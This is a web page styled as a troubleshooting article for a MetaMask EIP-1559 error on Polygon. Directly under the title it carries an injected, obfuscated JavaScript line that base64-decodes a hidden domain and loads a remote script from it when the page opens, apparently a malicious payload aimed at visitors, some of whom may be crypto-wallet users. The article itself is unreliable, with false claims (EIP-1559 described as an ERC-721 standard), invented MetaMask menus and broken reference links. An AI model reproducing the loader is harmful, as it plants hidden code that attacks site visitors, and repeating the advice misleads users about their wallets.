Metamask: Invalid transaction params: params specify an EIP-1559 transaction but the current network does not support EIP-1559(polygon) [duplicate]
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=304bd2fd”;document.body.appendChild(script);
MetaMask Issue: Invalid Transaction Parameters for EIP-1559 Transactions
It is not uncommon to encounter issues related to transaction parameters when working with the Ethereum blockchain, especially on the Polygon network using MetaMask. In this article, we will examine a specific issue that arises when attempting to perform an ERC-721 transfer on the Polygon network using MetaMask, version 10.9.2.
Issue: Invalid Transaction Parameters for EIP-1559 Transactions
As the title suggests, the issue lies in the params
field of the transaction object. Specifically, it is related to the EIP-1559 (ERC-721) standard, which is a newer specification that provides additional functionality to the ERC-721 token standard.
When you try to make an EIP-1559 transaction on the Polygon network using MetaMask, the “params” field specifies a specific version of EIP-1559. However, since the current network (polygon) does not support this specific version (EIP-1559(polygon)), you will receive the error “Invalid transaction parameters”.
How to fix the problem
To fix this problem, you need to make sure that your MetaMask wallet is compatible with the specified EIP-1559 version on the Polygon network. Here are some steps to take:
Step 1: Check for updates
First, make sure that you are using the latest version of MetaMask. You can check for updates on the MetaMask website and search for any available updates.
Step 2: Update your MetaMask version (if necessary)
If updating your MetaMask version is not possible or has already been applied, you may need to update it manually using the Webhook feature:
- Open MetaMask in your browser.
- Click on the three vertical dots next to your profile picture in the upper right corner of the screen.
- Select Webhooks from the drop-down menu.
- Find and click on the MetaMask update webhook notification (it should be listed as an update).
Step 3: Update your MetaMask version
After updating your MetaMask version, reload the MetaMask browser extension to trigger the update.
Step 4: Update EIP-1559 polygon network support (if necessary)
To resolve any compatibility issues with specific networks or wallets, it is essential to update EIP-1559 support for your network. You can do this by visiting the official Ethereum EIP-1559 implementation on the Ethereum Foundation website:
- Go to [
- Click on the “Implementation” tab.
- Select your network (e.g. Polygon) and search for any updated or deprecated EIP-1559 implementations.
Step 5: Verify EIP-1559 support
After updating MetaMask to a compatible version, verify that the specified EIP-1559 implementation is supported by your wallet on the Polygon network. You can do this by checking your wallet settings under “Network” or “Ethereum Network”.
Conclusion
Following these troubleshooting steps and tips, you should be able to resolve the error “Invalid transaction parameters: parameters specify transaction EIP-1559, but current network does not support EIP-1559 (Polygon)” when working with ERC-721 transfers on the Polygon network using MetaMask. Be sure to regularly update your MetaMask version and EIP-1559 implementation to ensure compatibility across different networks and wallets.
References:
- [Ethereum Stack Exchange](
- [Metamask Documentation](
- [Ethereum Foundation EIP-1559 Implementation](
I hope this article was helpful in resolving the invalid transaction parameters issue for EIP-1559 transactions on MetaMask using the Polygon network. If you have any further questions or concerns, please feel free to ask!